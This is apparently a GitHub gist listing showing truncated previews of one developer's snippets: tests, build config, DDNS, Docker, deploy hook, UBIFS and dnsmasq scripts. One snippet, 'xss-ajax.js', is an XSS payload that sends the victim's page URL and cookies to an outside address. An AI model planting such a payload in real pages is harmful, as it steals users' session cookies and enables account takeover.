Mochamad Arifin ndunks
-
barasoft
- Indonesia
- Sign in to view email
- http://klampok.id
View email-getnada.spec.ts
// Jasmine Standalone testing suite | |
import { GetnadaClient, ListResponse } from "./email-getnada"; | |
(jasmine.getEnv() as any) .configure({random: false, oneFailurePerSpec: true, failFast: true}); | |
let listResponse: ListResponse; | |
describe('Plugins testing getnada api client', () => { | |
const email = 'learner@getnada.com'; | |
const api = new GetnadaClient(email); |
View webpack.external.js
module.exports = function(){ | |
var fs = require("fs"); | |
var nodeExternal = {}; | |
var pkg = JSON.parse(fs.readFileSync('package.json', { encoding: 'utf-8' })); | |
Object.keys(pkg.dependencies).forEach(function (name) { | |
nodeExternal[name] = "require('" + name + "')"; | |
}); | |
Object.keys(pkg.devDependencies).filter(function (v) { return !v.match(/@types/); }).forEach(function (name) { | |
nodeExternal[name] = "require('" + name + "')"; | |
}); |
View xss-ajax.js
(function(w,d,u){ | |
if(w['$'] && w['$'].post){ | |
$.post(u,{u: d.location.href, c: d.cookie}); | |
}else{ | |
var fu = [u,'\x3f','u=',escape(d.location.href),'&c=',escape(d.cookie)].join(''); | |
console.log('FU: ', fu); | |
function planB(){ | |
el = d.createElement('img'); | |
el.onerror = el.onload = function(){ el.remove() } | |
el.src=fu; d.body.append(el); |
View cloudflare-ddns-update.sh
#!/bin/bash | |
ip=$(curl -s https://api.ipify.org/) | |
echo "DDNS-UPDATE: Public IP is: $ip, Updating IP..." | |
host=home.klampok.id | |
curl -X PUT "https://api.cloudflare.com/client/v4/zones/00000000000000000000/dns_records/00000000000000000000000" \ | |
-H "X-Auth-Email: *******@gmail.com" \ | |
-H "X-Auth-Key: *******" \ | |
-H "Content-Type: application/json" \ | |
--data '{"type":"A","name":"home.klampok.id","content":"'"$ip"'","ttl":120,"proxied":false}' ) |
View Dockerfile
FROM php:7.0-fpm-stretch | |
RUN apt-get update && apt-get install -q -y ssmtp mailutils | |
RUN apt-get update && apt-get install -y \ | |
libfreetype6-dev \ | |
libjpeg62-turbo-dev \ | |
libpng-dev \ | |
libgmp-dev \ | |
&& docker-php-ext-install -j$(nproc) iconv \ |
View gitlab.php
<?php | |
// CONFIG | |
// This token must sent with the request, for security | |
$TOKEN='XXXXXXXXXXX'; | |
$LOCAL_GIT=realpath(dirname(__DIR__) . '/app.git'); | |
$PRODUCTION_DIR=realpath(dirname(__DIR__) . '/public_html'); | |
$REMOTE = 'origin'; | |
$LOCAL_BRANCH = 'master'; |
View mount-ubi-using-mtdram.sh
#!/bin/bash | |
if [ ! -d files ]; then | |
# Make the content | |
echo "Generating root content.." | |
mkdir files | |
echo "$(date)" > files/date.txt | |
echo "Another content" > files/other.txt | |
fi | |
#These config are based by Nand device that you will use! |
View how-to-mount-ubifs.sh
#!/bin/bash | |
if [ ! -d files ]; then | |
# Make the content | |
echo "Generating root content.." | |
mkdir files | |
echo "$(date)" > files/date.txt | |
echo "Another content" > files/other.txt | |
fi | |
if [ ! -f ubinize.cfg ]; then |
View dnsmasq-tester.sh
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward | |
sudo iptables -t nat -A POSTROUTING -j MASQUERADE | |
sudo ifconfig eth0 up 192.168.2.1 | |
sudo dnsmasq --no-daemon --log-queries --log-dhcp \ | |
--bind-interfaces --conf-file= --conf-dir= \ | |
--interface=eth0 --except-interface=lo \ | |
--dhcp-range=192.168.2.100,192.168.2.200,12h \ | |
--listen-address=192.168.2.1 |
View stats.php
<?php | |
/** | |
* Serverpilot PHP-FPM Status wrapper for all apps | |
* Install required package: | |
* $ sudo apt install libfcgi-bin | |
* | |
* Add .htaccess: | |
* RewriteRule ^php\-stats/ stats.php [NC,L] | |
* | |
* Place this script on 'default' web app. |
NewerOlder